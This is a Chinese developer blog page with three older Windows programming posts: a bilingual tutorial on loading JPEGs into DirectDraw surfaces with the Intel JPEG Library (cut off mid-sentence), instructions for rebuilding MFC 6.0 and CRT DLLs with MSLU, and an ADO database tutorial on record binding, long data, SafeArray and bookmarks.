Libin 的个人资料绿色家园照片日志列表 工具 帮助
2月28日

载入JPGE图象文件到DirectDraw的表面中

译者的话:这是一篇关于使用Intel JPGEs Library的文章,在翻译的同时,译者根据自己的使用经验对文章进行适当的添减章节,希望适合各位读者。
  
  In order to keep the size of this article down, I've decided to make a few assumptions. First of all, I assume that you already know C/C++ and how to troubleshoot and debug code. I also assume that you are somewhat familiar with DirectDraw and that you have as a minimum the DirectX 7.0 libraries and the ability to work in 24 bit. Note: the source code in EXAMPLE.ZIP available at the end of this article provides conversions to 16bit and 32bit surfaces.
  为了保持这篇文章内的排列顺序,我先决定安排一些假设。首先,我假设你已经了解C/C++与如何对代码进行调试。我还假设你对DirectDraw有些了解与你拿到了DirectX 7.0的库文件,并且能够在24bit的情况下工作。注意:本文章附带的原代码EXAMPLE.ZIP中提供转换到16bit和32bit表面的操作。
  
  The first step to loading JPEGs is to download the Intel JPEG Library from Intel's website. The Library is loaded with documentation and examples, all of which we're really not interested in. What we really want are the IJL.H, IJL15.LIB, and IJL15.DLL files that come with the package. Once you have those files, include the IJL.H header to
  your source file, add the IJL15.LIB file to your project, and make sure the IJL15.DLL is in a valid location such as the C:\WINDOWS\SYSTEM folder.
  要载入JPGE图象文件首先要Intel的网站上去下载Intel JPEG Library,这个库包含了开发文档和例程,以及你不感兴趣的东西。我们真正要的是IJL.H,IJL15.LIB,和IJL15.DLL文件。一旦你拥有了这些文件,包含IJL.H头文件到你的代码文件中,添加IJL15.LIB文件到你的工程,并且确定IJL15.DLL文件是在有效的位置,如C:\Windows\Sysstem文件夹,当然,也可以跟我们编译出来的程式执行档放置于同一文件夹。
  
  There are a few more things we need to do before beginning. We need to make sure that we have a Direct Draw Surface to work with:
  有些东西需要我们在开始之前先准备好,我们需要确定我们拥有可工作的DirectDraw表面:
  
  LPDIRECTDRAWSURFACE7 Surface = NULL;
  
  We need to also be sure to set our display bit depth to 24 bit:
  我们还需要设置我们的视频模式,深度为24bit:
  
  DDObject->SetDisplayMode(640, 480, 24, 0, 0);
  
  We're now ready to load a JPEG to our surface. Since we're using the Intel JPEG Library, we need to create a couple of objects:
  我们现在准备载入JPEG图象到我们的表面,既然我们要使用Intel JPEG Library,我们需要建立一个连接对象:
  
  IJLERR jerr;
  JPEG_CORE_PROPERTIES jcprops;
  
  IJLERR holds return information for determining a pass or fail status.
  JPEG_CORE_PROPERTIES is our JPEG object. Once we have these two objects, we are ready to initialize them:
  IJLERR保存返回的终止或错误属性信息。
  JPEG_CORE_PROPERTIES是我们的JPEG对象,一旦我们有这两个对象,我们准备对其进行初始化:
  
  jerr = ijlInit(&jcprops);
  if (jerr != IJL_OK)
  //report initialization error
  
  The ijlInit function call initializes the JPEG_CORE_PROPERTIES object. We can check the status of this function call by testing whether or not our IJLERR object was initialized with the value IJL_OK.
  ijlInit函数调用初始化JPEG_CORE_PROPERTIES对象,我们能检测这个函数调用测试我们的IJLERR对象是否初始化属性是否为IJL_OK。
  
  At this point, we must decide if we are going to load our JPEG image from a file or from a buffer. Because loading from a file takes fewer steps, we will do that here. However, I give an example of loading from both in the EXAMPLE.ZIP file available at the end of this article. We load from a file by changing our JPEG object's JPGFile member to a file name. We then call ijlRead to retrieve the file parameters.
  在这点,我们必须决定我们是从文件载入我们的JPEG图象,还是从数据缓冲。因为从文件载入所需的步骤较少,我们将用这方法。无论如何, 在文章的例子EXAMPLE.ZIP中,我会给出两种可用的的方法。我们从文件中载入并转换我们的JPEG对象的JPG文件成员到一个文件名,我们当调用ijlRead函数可以重新获得文件参数。
  
  jcprops.JPGFile = FileName;
  jerr = ijlRead(&jcprops, IJL_JFILE_READPARAMS);
  if (jerr != IJL_OK)
  //report read error
  
  This initial read fills our JPEG object with information about the file we are going to load. What we must now do is find a way of converting the JPEG to a device independent bitmap (DIB) so that we can attach it to our Direct Draw surface.
  这初始指定我们的JPGE对象的文件名,我们将根据这个进行载入。我们现在必须寻找一个转换的方式用于JPGE设备与bitmap(BID),因此我们能绑定它到我们的DirectDraw表面。
  
  We start by creating a buffer to hold our image data. After the buffer is created, we must resize it to fit a 24Bit image:
  我们开始建立一个缓冲为保存我们的位图数据,在这个缓冲建立之后,我们必须调整大小以适合一个24bit的位图:
  
  //Prepare a 24Bit buffer to receive image data
  BYTE *buffer24;
  
  //Determine the required size
  long szbuff24 = (jcprops.JPGWidth * 24 + 7) / 8 * jcprops.JPGHeight;
  
  //Resize the buffer and check for null
  buffer24 = new BYTE [szbuff24];
  if (buffer24 == NULL)
  //Report memory allocation error
  
  Now we need to fill in the DIB portion of the JPEG object to get ready for the conversion from JPEG to DIB.
  现在我们需要为JPEG对象准备好转换到BID的部分进行填充。
  
  jcprops.DIBWidth = jcprops.JPGWidth;
  jcprops.DIBHeight = jcprops.JPGHeight; //Implies a bottom-up DIB.
  jcprops.DIBChannels = 3;
  jcprops.DIBColor = IJL_BGR;
  jcprops.DIBPadBytes = IJL_DIB_PAD_BYTES(jcprops.JPGWidth, 3);
  jcprops.DIBBytes = reinterpret_cast (buffer24);
  
  Let's look at some of these a little closer. The DIBBytes member points to the buffer that we created. When we retrieve the JPEG data, the information we get will be stored in this buffer. The DIBWidth and DIBHeight members specify the size of the DIB. The DIBColor member specifies that we want our image data in reverse order Blue Green Red. That's the way that DIBs are actually stored. They are also stored upside down. You can flip the retrieved image by negating the DIBHeight member:
  让我们看看这一些结构,DIBBytes成员变量指向一个我们已经建立好的数据缓冲,当我们重新获得JPEG数据,这些信息将是我们用于存储的缓冲;DIBWidth和DIBHeight成员指定DIB的大小;DIBColor成员指定我们要我们的位图数据是倒序的兰、绿、红。那是DIBs实际存储的方式,他们也是颠倒存放,你可以翻转它:
  
  //This is what you should do if you find your images are coming out upside down.
  jcprops.DIBHeight = - jcprops.JPGHeight;
  
  Before we read in the image, we have to check one more thing: the JPG color space:
  在我们读数据之前,我们还要检测其它东西:JPG颜色空间
  
  //Set the JPG color space ... this will always be somewhat of an
  //educated guess at best because JPEG is "color blind" (i.e.,
  //nothing in the bit stream tells you what color space the data was
  //encoded from.
  switch(jcprops.JPGChannels)
  {
  case 1: jcprops.JPGColor = IJL_G;
  break;
  
  case 3: jcprops.JPGColor = IJL_YCBCR;
  break;
  
  default:
  //This catches everything else, but no color twist will be
  //performed by the IJL.
  jcprops.DIBColor = (IJL_COLOR)IJL_OTHER;
  jcprops.JPGColor = (IJL_COLOR)IJL_OTHER;
  break;
  }
  
  We are finally ready to retrieve the actual JPEG image. Thanks to Intel's JPEG Library - this is a trivial task:
  我们准备最终获得JPEG图象数据,感谢Intel的JPEG库―这是一个十分简单的任务:
  
  //Read in image from file
  jerr = ijlRead(&jcprops, IJL_JFILE_READWHOLEIMAGE);
  if (jerr != IJL_OK)
  //Report read error
  
  This function copies the image information into our buffer. At this point, if we were to insert a BITMAPFILEHEADER and a BITMA

Rebuild MFC 6.0 and CRT with MSLU

lostall

一、前言1、如果想在Win95/98/ME上运行动态链接MFC库的Unicode程序,必须重新编译MFC和CRT。
2、相信在不远的将来,微软将提供给我们已编译好的MFC和CRT。

二、准备1、安装Visual C++ 6.0,选中安装Unicode MFC Version和CRT Source Codes。
2、安装Visual Studio 6.0 Service Pack 5。
3、把unicows.lib拷贝到VC98\LIB下,unicows.lib在Platform SDK中有,也可从网上下载。
4、最好先备份VC98目录,以便需要时恢复。
   (这里假设的VC98所在的目录是C:\Program Files\Microsoft Visual Studio\VC98)

三、编译CRT库1、进入VC98\CRT\SRC,要编译的文件都在这里。

2、我们的编译目标是6个DLLs:

	(Debug)MSVCRTD.DLL, MSVCP60D.DLL, MSVCIRTD.DLL
(Release)MSVCRT.DLL, MSVCP60.DLL, MSVCIRT.DLL
   为避免与原来的DLLs混淆,我们将重新命名(当然也可以不改):
	(Debug)MSLU_MSVCRTD.DLL, MSLU_MSVCP60D.DLL, MSLU_MSVCIRTD.DLL
(Release)MSLU_MSVCRT.DLL, MSLU_MSVCP60.DLL, MSLU_MSVCIRT.DLL
3、MS提供了bldwin95.bat可以编译所有的CRT DLLs,但它隐藏了必要的makefile,把它变回来:
	copy ext_mkf Makefile 
copy ext_mkf.inc Makefile.inc
copy ext_mkf.sub Makefile.sub
4、MS缺省用的名字是_SAMPLE_,SAMPLE_I和SAMPLE_P,如果重命名DLL的话,相应的文件名也要改:
	copy _SAMPLE_.RC MSLU_MSVCRT.RC 
copy SAMPLE_I.RC MSLU_MSVCIRT.RC
copy SAMPLE_P.RC MSLU_MSVCP60.RC copy SAMPLE_I.DEF MSLU_MSVCIRT.DEF
copy SAMPLD_I.DEF MSLU_MSVCIRTD.DEF
copy SAMPLE_P.DEF MSLU_MSVCP60.DEF copy SAMPLD_P.DEF MSLU_MSVCP60D.DEF copy Intel\_SAMPLE_.DEF Intel\MSLU_MSVCRT.DEF
copy Intel\_SAMPLD_.DEF Intel\MSLU_MSVCRTD.DEF
   然后,需要修改上述每个DEF文件中的'Library':
        打开MSLU_MSVCIRT.DEF,修改'LIBRARY SAMPLE_I'为'LIBRARY MSLU_MSVCIRT';
        打开MSLU_MSVCIRTD.DEF,修改'LIBRARY SAMPLD_I'为'LIBRARY MSLU_MSVCIRTD';
        打开MSLU_MSVCP60.DEF,修改'LIBRARY SAMPLE_P'为'LIBRARY MSLU_MSVCP60';
        打开MSLU_MSVCP60D.DEF,修改'LIBRARY SAMPLD_P'为'LIBRARY MSLU_MSVCP60D';
        打开Intel\MSLU_MSVCRT.DEF,修改'LIBRARY _SAMPLE_'为'LIBRARY MSLU_MSVCRT';
        打开Intel\MSLU_MSVCRTD.DEF,修改'LIBRARY _SAMPLD_'为'LIBRARY MSLU_MSVCRTD';
5、打开文件makefile,做如下修改:
   (1)文件顶部有如下这段文字:
	RETAIL_DLL_NAME=_sample_
	RETAIL_LIB_NAME=_sample_
	RETAIL_DLLCPP_NAME=sample_p 
RETAIL_LIBCPP_NAME=sample_p
RETAIL_DLLIOS_NAME=sample_i
RETAIL_LIBIOS_NAME=sample_i
DEBUG_DLL_NAME=_sampld_ DEBUG_LIB_NAME=_sampld_ DEBUG_DLLCPP_NAME=sampld_p
DEBUG_LIBCPP_NAME=sampld_p
DEBUG_DLLIOS_NAME=sampld_i
DEBUG_LIBIOS_NAME=sampld_i
      将其修改为:
	RETAIL_DLL_NAME=MSLU_MSVCRT 
RETAIL_LIB_NAME=MSLU_MSVCRT
RETAIL_DLLCPP_NAME=MSLU_MSVCP60 RETAIL_LIBCPP_NAME=MSLU_MSVCP60 RETAIL_DLLIOS_NAME=MSLU_MSVCIRT
RETAIL_LIBIOS_NAME=MSLU_MSVCIRT
DEBUG_DLL_NAME=MSLU_MSVCRTD
DEBUG_LIB_NAME=MSLU_MSVCRTD
DEBUG_DLLCPP_NAME=MSLU_MSVCP60D DEBUG_LIBCPP_NAME=MSLU_MSVCP60D DEBUG_DLLIOS_NAME=MSLU_MSVCIRTD
DEBUG_LIBIOS_NAME=MSLU_MSVCIRTD
      (缺省生成的是samplxx.lib和samplxx.dll,这是MS玩的小把戏吗?)
   (2)第39行改为:
        V6TOOLS=C:\Program Files\Microsoft Visual Studio\VC98
      (由实际的安装路径决定,注意看第34-36行之间的注释)
   (3)第331行改为:
        RC_INCS="-I$(V6TOOLS)\include"
      第1728, 1770, 1810, 1853, 1898, 1941行改为:
        "$(V6TOOLS)\include\winver.h" \   (以上只是加上引号,因为V6TOOLS中含有空格)
   (4)第381-383行改为:
	RELEASE_DLL_DBG_PDB     = $(PDBDIR_CPU)\$(DEBUG_DLL_NAME).pdb
	RELEASE_DLLCPP_DBG_PDB  = $(PDBDIR_CPU)\$(DEBUG_DLLCPP_NAME).pdb 
RELEASE_DLLIOS_DBG_PDB = $(PDBDIR_CPU)\$(DEBUG_DLLIOS_NAME).pdb
      第474行改为:
        $(CRT_RELDIR) $(RELDIR_CPU) :   
      第987行改为:
        xdll : $(OBJROOT) $(OBJCPUDIR) $(OBJDIR_DLL_DBG) $(RELDIR_CPU) xothers \
      在第1746行后加上:
        -pdb:$(RELEASE_DLL_PDB)   
      在第1789行后加上:
        -pdb:$(RELEASE_DLLCPP_PDB)
      在第1829行后加上:
        -pdb:$(RELEASE_DLLIOS_PDB)
   (5)第1750, 1794, 1835, 1878, 1925, 1969行
      将
        kernel32.lib 
      改为:
unicows.lib kernel32.lib advapi32.lib user32.lib gdi32.lib shell32.lib comdlg32.lib version.lib 
mpr.lib rasapi32.lib winmm.lib winspool.lib vfw32.lib oleacc.lib oledlg.lib
6、现在准备工作结束,可以进行编译了。
   (1)进入命令行模式,
   (2)运行VC98\BIN\下的VCVARS32.bat文件,
   (3)进入VC98\CRT\SRC下,敲命令行set V6TOOLS=C:\Program Files\Microsoft Visual Studio\VC98,
   (4)运行BLDWIN95.bat文件。
   (5)一旦完成编译,新生成的文件都在子目录CRT\SRC\BUILD\INTEL下。

7、为了方便与已有的程序链接,把新生成的MSLU_MSVCRTxxx.LIB改回缺省的文件名MSVCRTxxx.LIB:
	copy MSLU_MSVCRT.LIB MSVCRT.LIB 
copy MSLU_MSVCRTD.LIB MSVCRTD.LIB
copy MSLU_MSVCP60.LIB MSVCPRT.LIB
copy MSLU_MSVCP60D.LIB MSVCPRTD.LIB
copy MSLU_MSVCIRT.LIB MSVCIRT.LIB
copy MSLU_MSVCIRTD.LIB MSVCIRTD.LIB
   将这些LIB文件拷到VC98\LIB目录下。 (DLL的名字不需要改,程序会自动链接到MSLU_MSVCRTxxx.DLL)

四、编译MFC动态链接库1、进入VC98\MFC\SRC,要编译的文件都在这里。

2、我们的编译目标是5个DLLs:

        MFC42U.DLL (Unicode Release,它是几个部分之和) 
        MFC42UD.DLL (Unicode Debug) 
        MFCN42UD.DLL (Unicode Debug - Network classes) 
        MFCO42UD.DLL (Unicode Debug - OLE classes) 
        MFCD42UD.DLL (Unicode Debug - Database classes)    
   为避免与原来的DLLs混淆,我们将重新命名(当然也可以不改):
        MSLU_MFC42U.DLL
        MSLU_MFC42UD.DLL
        MSLU_MFCN42UD.DLL
        MSLU_MFCO42UD.DLL
        MSLU_MFCD42UD.DLL
3、有四个MAK文件是我们需要的:
        MFCDLL.MAK 负责 MFC42U.DLL和MFC42UD.DLL
        MFCNET.MAK 负责 MFCN42UD.DLL
        MFCOLE.MAK 负责 MFCO42UD.DLL
        MFCDB.MAK  负责 MFCD42UD.DLL
   在MFCDLL.MAK的第206行,
     MFCNET.MAK的第134行,
     MFCOLE.MAK的第134行,
     MFCDB.MAK的第140行处有如下语句:
        link @<< 
   在其后加上如下两句:
	  /nod:kernel32.lib /nod:advapi32.lib /nod:user32.lib /nod:gdi32.lib /nod:shell32.lib /nod:comdlg32.lib 
	  /nod:version.lib /nod:mpr.lib /nod:rasapi32.lib /nod:winmm.lib /nod:winspool.lib /nod:vfw32.lib 
	  /nod:secur32.lib /nod:oleacc.lib /nod:oledlg.lib /nod:sensapi.lib
	  unicows.lib kernel32.lib advapi32.lib user32.lib gdi32.lib shell32.lib comdlg32.lib version.lib mpr.lib 
	  rasapi32.lib winmm.lib winspool.lib vfw32.lib oleacc.lib oledlg.lib
4、修改用LoadLibrary动态链接MFC库的硬编码定义:
   DLLDB.CPP,第38-39行改为:
        #define MFC42_DLL   "MSLU_MFC42UD.DLL"
        #define MFCO42_DLL  "MSLU_MFCO42UD.DLL"

   DLLDB.CPP,第46-47行改为:         #define MFC42_DLL "MSLU_MFC42U.DLL"         #define MFCO42_DLL "MSLU_MFCO42U.DLL"
   DLLNET.CPP,第37行改为:         #define MFC42_DLL "MSLU_MFC42UD.DLL"
   DLLNET.CPP,第43行改为:         #define MFC42_DLL "MSLU_MFC42U.DLL"
   DLLOLE.CPP,第38行改为:         #define MFC42_DLL "MSLU_MFC42UD.DLL"
   DLLOLE.CPP,第44行改为:         #define MFC42_DLL "MSLU_MFC42U.DLL"
5、修改用LoadLibrary动态链接CRT的硬编码定义:
   DLLINIT.CPP,第371行改为:
        #define MSVCRT_DLL "MSLU_MSVCRTD.DLL"
   
   DLLINIT.CPP,第373行改为:         #define MSVCRT_DLL "MSLU_MSVCRT.DLL"
6、通常,在Win95及更低版本中运行Unicode程序时会弹出消息框,说不能在该系统下运行Unicode程序,我们要删掉这段代码:
   DLLINIT.CPP,第391行改为:
        #if 0   // 原代码是#ifdef _UNICODE   
   (该Bug在VC7中已经更正)

7、修改viewedit.cpp中CEditView的实现代码:
   把CEditView::ReadFromArchive、CEditView::LockBuffer和CEditView::UnlockBuffer中的
        #ifndef _UNICODE  
   改为:
        #if 1   
   (该Bug在VC7中已经更正)

8、如果重命名了DLL,则需要重命名相应的DEF文件,它们在VC98\MFC\SRC\INTEL目录下:
        copy MFC42U.DEF MSLU_MFC42U.DEF
        copy MFC42UD.DEF MSLU_MFC42UD.DEF
        copy MFCN42UD.DEF MSLU_MFCN42UD.DEF
        copy MFCO42UD.DEF MSLU_MFCO42UD.DEF
        copy MFCD42UD.DEF MSLU_MFCD42UD.DEF   
   然后,需要修改上述每个DEF文件中的'Library':
        打开MSLU_MFC42U.DEF,修改'LIBRARY MFC42u'为'LIBRARY MSLU_MFC42u';
        打开MSLU_MFC42UD.DEF,修改'LIBRARY MFC42uD'为'LIBRARY MSLU_MFC42uD';
        打开MSLU_MFCN42UD.DEF,修改'LIBRARY MFCN42uD'为'LIBRARY MSLU_MFCN42uD';
        打开MSLU_MFCO42UD.DEF,修改'LIBRARY MFCO42uD'为'LIBRARY MSLU_MFCO42uD';
        打开MSLU_MFCD42UD.DEF,修改'LIBRARY MFCD42uD'为'LIBRARY MSLU_MFCD42uD';
9、现在准备工作结束,可以进行编译了。
   在VC98\MFC\SRC下创建一个BAT文件叫buildmfc.bat:
        nmake -f mfcdll.mak libname=MSLU_MFC42 DEBUG=0 UNICODE=1 /a
        copy /Y ..\lib\MSLU_MFC42U.LIB ..\lib\MFC42U.LIB


        nmake -f mfcdll.mak libname=MSLU_MFC42 DEBUG=1 UNICODE=1 /a         copy /Y ..\lib\MSLU_MFC42UD.LIB ..\lib\MFC42UD.LIB

        nmake -f mfcnet.mak libname=MSLU_MFCN42 DEBUG=1 UNICODE=1 /a         copy /Y ..\lib\MSLU_MFCN42UD.LIB ..\lib\MFCN42UD.LIB

        nmake -f mfcole.mak libname=MSLU_MFCO42 DEBUG=1 UNICODE=1 /a         copy /Y ..\lib\MSLU_MFCO42UD.LIB ..\lib\MFCO42UD.LIB

        nmake -f mfcdb.mak libname=MSLU_MFCD42 DEBUG=1 UNICODE=1 /a         copy /Y ..\lib\MSLU_MFCD42UD.LIB ..\lib\MFCD42UD.LIB
   (这里每个nmake后面都加上了copy命令,这是因为在编译后面的DLL时有可能需要链接前面的DLL, 通过用Dependency可以细细观察。所以及时的改变LIB名字可确保链接到正确的DLL,这非常重要! )
   运行buildmfc.bat,OK! 新的DLL将生成在VC98\MFC\SRC下,LIB将生成在VC98\MFC\LIB下。

10、为了方便与已有的程序链接,把新生成的MSLU_MSVCRTxxx.LIB改回缺省的文件名MSVCRTxxx.LIB:
        copy MSLU_MFC42U.LIB MFC42U.LIB 
        copy MSLU_MFC42UD.LIB MFC42UD.LIB
        copy MSLU_MFCN42UD.LIB MFCN42UD.LIB
        copy MSLU_MFCO42UD.LIB MFCO42UD.LIB 
        copy MSLU_MFCD42UD.LIB MFCD42UD.LIB   
    (DLL的名字不需要改,程序会自动链接到MSLU_MSVCRTxxx.DLL)

特别注意
因为在编译MFC库时需要静态链接CRT,所以一定要确保在编译MFC之前,先把新的CRT的LIB拷到正确的位置!!!否则,生成的MFC DLL仍是链接旧的CRT库。

测试:
把新的LIB文件拷到相应的目录,把新的DLL拷到测试程序的目录。编译后一定要用View Dependency观察链接是否正确。(最好把所有的MSLU_XXX.DLL都拷到系统目录下)

五、编译MFC静态链接库    为使用MSLU,并不需要重编译MFC静态库,这里只是顺便提提。
    在命令行下,用NMAKE编译MFC静态库非常容易,进入VC98\MFC\SRC
    (a) Debug
        nmake DEBUG=1 CODEVIEW=1 BROWSE=1
    (b) Release
        nmake DEBUG=0
    (c) Unicode Debug
        nmake DEBUG=1 CODEVIEW=1 BROWSE=1 UNICODE=1
    (d) Unicode Release
        nmake DEBUG=0 UNICODE=1
    详细的NMAKE的选项说明可以参考VC98\MFC\SRC下的readme.txt文件。

六、补充    (1) 2004-02-21
    经网友反映,发现当前最新版的Platform SDK(Feb 2003)里的unicows.lib在编译Debug版的CRT库时会链接出错,可以用更早的SDK里的lib或当前Visual Studio .Net 2003版里的unicows.lib代替。

参考资料1、How to build the 6.0 MFC and the CRT DLLs with MSLU,本文大部分内容来源于此。
2、VC98\MFC\SRC\readme.txt。
 

下载

CRT(643KB) CRT Sourcefile (27KB)
MFC(1,389KB) MFC Sourcefile (174KB)

2月26日

Visual C++ ADO数据库编程入门(下)

10、邦定数据

  定义一个绑定类,将其成员变量绑定到一个指定的记录集,以方便于访问记录集的字段值。

  (1). 从CADORecordBinding派生出一个类:

class CCustomRs : public CADORecordBinding
{
BEGIN_ADO_BINDING(CCustomRs)
ADO_VARIABLE_LENGTH_ENTRY2(3, adVarChar, m_szau_fname,
sizeof(m_szau_fname), lau_fnameStatus, false)
ADO_VARIABLE_LENGTH_ENTRY2(2, adVarChar, m_szau_lname,
sizeof(m_szau_lname), lau_lnameStatus, false)
ADO_VARIABLE_LENGTH_ENTRY2(4, adVarChar, m_szphone,
sizeof(m_szphone), lphoneStatus, true)
END_ADO_BINDING()

public:
CHAR m_szau_fname[22];
ULONG lau_fnameStatus;
CHAR m_szau_lname[42];
ULONG lau_lnameStatus;
CHAR m_szphone[14];
ULONG lphoneStatus;
};

  其中将要绑定的字段与变量名用BEGIN_ADO_BINDING宏关联起来。每个字段对应于两个变量,一个存放字段的值,另一个存放字段的状态。字段用从1开始的序号表示,如1,2,3等等。

  特别要注意的是:如果要绑定的字段是字符串类型,则对应的字符数组的元素个数一定要比字段长度大2(比如m_szau_fname[22],其绑定的字段au_fname的长度实际是20),不这样绑定就会失败。我分析多出的2可能是为了存放字符串结尾的空字符null和BSTR字符串开头的一个字(表示BSTR的长度)。这个问题对于初学者来说可能是一个意想不到的问题。

  CADORecordBinding类的定义在icrsint.h文件里, 内容是:

class CADORecordBinding
{
public:
STDMETHOD_(const ADO_BINDING_ENTRY*, GetADOBindingEntries) (VOID) PURE;
};

BEGIN_ADO_BINDING宏的定义也在icrsint.h文件里,内容是:
#define BEGIN_ADO_BINDING(cls) public: \
typedef cls ADORowClass; \
const ADO_BINDING_ENTRY* STDMETHODCALLTYPE GetADOBindingEntries() { \
static const ADO_BINDING_ENTRY rgADOBindingEntries[] = {

ADO_VARIABLE_LENGTH_ENTRY2宏的定义也在icrsint.h文件里:
#define ADO_VARIABLE_LENGTH_ENTRY2(Ordinal, DataType, Buffer, Size, Status, Modify)\
{Ordinal, \
DataType, \
0, \
0, \
Size, \
offsetof(ADORowClass, Buffer), \
offsetof(ADORowClass, Status), \
0, \
classoffset(CADORecordBinding, ADORowClass), \
Modify},

#define END_ADO_BINDING宏 的定义也在icrsint.h文件里:
#define END_ADO_BINDING() {0, adEmpty, 0, 0, 0, 0, 0, 0, 0, FALSE}};\
return rgADOBindingEntries;}

   (2). 绑定

_RecordsetPtr Rs1;
IADORecordBinding *picRs=NULL;
CCustomRs rs;
......
Rs1->QueryInterface(__uuidof(IADORecordBinding),
(LPVOID*)&picRs));
picRs->BindToRecordset(&rs);

  派生出的类必须通过IADORecordBinding接口才能绑定,调用它的BindToRecordset方法就行了。

  (3). rs中的变量即是当前记录字段的值

//Set sort and filter condition:
// Step 4: Manipulate the data
Rs1->Fields->GetItem("au_lname")->Properties->GetItem("Optimize")->Value = true;
Rs1->Sort = "au_lname ASC";
Rs1->Filter = "phone LIKE '415 5*'";

Rs1->MoveFirst();
while (VARIANT_FALSE == Rs1->EndOfFile)
{
printf("Name: %s\t %s\tPhone: %s\n",
(rs.lau_fnameStatus == adFldOK ? rs.m_szau_fname : ""),
(rs.lau_lnameStatus == adFldOK ? rs.m_szau_lname : ""),
(rs.lphoneStatus == adFldOK ? rs.m_szphone : ""));
if (rs.lphoneStatus == adFldOK)
strcpy(rs.m_szphone , "777");
TESTHR(picRs->Update(&rs)); // Add change to the batch
Rs1->MoveNext();
}
Rs1->Filter = (long) adFilterNone;
......
if (picRs) picRs->Release();
Rs1->Close();
pConn->Close();

  只要字段的状态是adFldOK,就可以访问。如果修改了字段,不要忘了先调用picRs的Update(注意不是Recordset的Update),然后才关闭,也不要忘了释放picRs(即picRs->Release();)。

  (4). 此时还可以用IADORecordBinding接口添加新纪录

if(FAILED(picRs->AddNew(&rs)))
......

  11. 访问长数据

  在Microsoft SQL中的长数据包括text、image等这样长类型的数据,作为二进制字节来对待。

  可以用Field对象的GetChunk和AppendChunk方法来访问。每次可以读出或写入全部数据的一部分,它会记住上次访问的位置。但是如果中间访问了别的字段后,就又得从头来了。

  请看下面的例子:

//写入一张照片到数据库:
VARIANT varChunk;
SAFEARRAY *psa;
SAFEARRAYBOUND rgsabound[1];

//VT_ARRAY │ VT_UI1
CFile f("h:\\aaa.jpg",Cfile::modeRead);
BYTE bVal[ChunkSize+1];
UINT uIsRead=0;
//Create a safe array to store the array of BYTES
while(1)
{
uIsRead=f.Read(bVal,ChunkSize);
if(uIsRead==0)break;
rgsabound[0].cElements =uIsRead;
rgsabound[0].lLbound = 0;
psa = SafeArrayCreate(VT_UI1,1,rgsabound);
for(long index=0;index<uIsRead;index++)
{
if(FAILED(SafeArrayPutElement(psa,&index,&bVal[index])))
::MessageBox(NULL,"啊,又出毛病了。","提示",MB_OK │ MB_ICONWARNING);
}
varChunk.vt = VT_ARRAY│VT_UI1;
varChunk.parray = psa;
try{
m_pRecordset->Fields->GetItem("photo")->AppendChunk(varChunk);
}
catch (_com_error &e)
{
CString str=(char*)e.Description();
::MessageBox(NULL,str+"\n又出毛病了。","提示",MB_OK │ MB_ICONWARNING);
}
::VariantClear(&varChunk);
::SafeArrayDestroyData( psa);
if(uIsRead<ChunkSize)break;
}//while(1)
f.Close();

//从数据库读一张照片:
CFile f;
f.Open("h:\\bbb.jpg",Cfile::modeWrite│Cfile::modeCreate);
long lPhotoSize = m_pRecordset->Fields->Item["photo"]->ActualSize;
long lIsRead=0;

_variant_t varChunk;
BYTE buf[ChunkSize];
while(lPhotoSize>0)
{
lIsRead=lPhotoSize>=ChunkSize? ChunkSize:lPhotoSize;
varChunk = m_pRecordset->Fields->
Item["photo"]->GetChunk(lIsRead);
for(long index=0;index<lIsRead;index++)
{
::SafeArrayGetElement(varChunk.parray,&index,buf+index);
}
f.Write (buf,lIsRead);
lPhotoSize-=lIsRead;
}//while()
f.Close();


  12. 使用SafeArray问题

  学会使用SafeArray也是很重要的,因为在ADO编程中经常要用。它的主要目的是用于automation中的数组型参数的传递。因为在网络环境中,数组是不能直接传递的,而必须将其包装成SafeArray。实质上SafeArray就是将通常的数组增加一个描述符,说明其维数、长度、边界、元素类型等信息。SafeArray也并不单独使用,而是将其再包装到VARIANT类型的变量中,然后才作为参数传送出去。在VARIANT的vt成员的值如果包含VT_ARRAY│...,那么它所封装的就是一个SafeArray,它的parray成员即是指向SafeArray的指针。SafeArray中元素的类型可以是VARIANT能封装的任何类型,包括VARIANT类型本身。

  使用SafeArray的具体步骤:

  方法一:

  包装一个SafeArray:

  (1). 定义变量,如:

VARIANT varChunk;
SAFEARRAY *psa;
SAFEARRAYBOUND rgsabound[1];

  (2). 创建SafeArray描述符:

uIsRead=f.Read(bVal,ChunkSize);//read array from a file.
if(uIsRead==0)break;
rgsabound[0].cElements =uIsRead;
rgsabound[0].lLbound = 0;
psa = SafeArrayCreate(VT_UI1,1,rgsabound);

  (3). 放置数据元素到SafeArray:

for(long index=0;index<uIsRead;index++)
{
if(FAILED(SafeArrayPutElement(psa,&index,&bVal[index])))
::MessageBox(NULL,"出毛病了。","提示",MB_OK │ MB_ICONWARNING);
}

  一个一个地放,挺麻烦的。

  (4). 封装到VARIANT内:

varChunk.vt = VT_ARRAY│VT_UI1;
varChunk.parray = psa;

  这样就可以将varChunk作为参数传送出去了。

  读取SafeArray中的数据的步骤:

  (1). 用SafeArrayGetElement一个一个地读

BYTE buf[lIsRead];
for(long index=0;index<lIsRead;index++)
{
::SafeArrayGetElement(varChunk.parray,&index,buf+index);
}

  就读到缓冲区buf里了。

  方法二:

  使用SafeArrayAccessData直接读写SafeArray的缓冲区:

  (1). 读缓冲区:

BYTE *buf;
SafeArrayAccessData(varChunk.parray, (void **)&buf);
f.Write(buf,lIsRead);
SafeArrayUnaccessData(varChunk.parray);

  (2). 写缓冲区:

BYTE *buf;
::SafeArrayAccessData(psa, (void **)&buf);
for(long index=0;index<uIsRead;index++)
{
buf[index]=bVal[index];
}
::SafeArrayUnaccessData(psa);

varChunk.vt = VT_ARRAY│VT_UI1;
varChunk.parray = psa;

  这种方法读写SafeArray都可以,它直接操纵SafeArray的数据缓冲区,比用SafeArrayGetElement和SafeArrayPutElement速度快。特别适合于读取数据。但用完之后不要忘了调用::SafeArrayUnaccessData(psa),否则会出错的。

  13. 使用书签( bookmark )

  书签可以唯一标识记录集中的一个记录,用于快速地将当前记录移回到已访问过的记录,以及进行过滤等等。Provider会自动为记录集中的每一条记录产生一个书签,我们只需要使用它就行了。我们不能试图显示、修改或比较书签。ADO用记录集的Bookmark属性表示当前记录的书签。

  用法步骤:

  (1). 建立一个VARIANT类型的变量

_variant_t VarBookmark;

  (2). 将当前记录的书签值存入该变量

  也就是记录集的Bookmark属性的当前值。

VarBookmark = rst->Bookmark;

  (3). 返回到先前的记录

  将保存的书签值设置到记录集的书签属性中:

// Check for whether bookmark set for a record
if (VarBookmark.vt == VT_EMPTY)
printf("No Bookmark set!\n");
else
rst->Bookmark = VarBookmark;

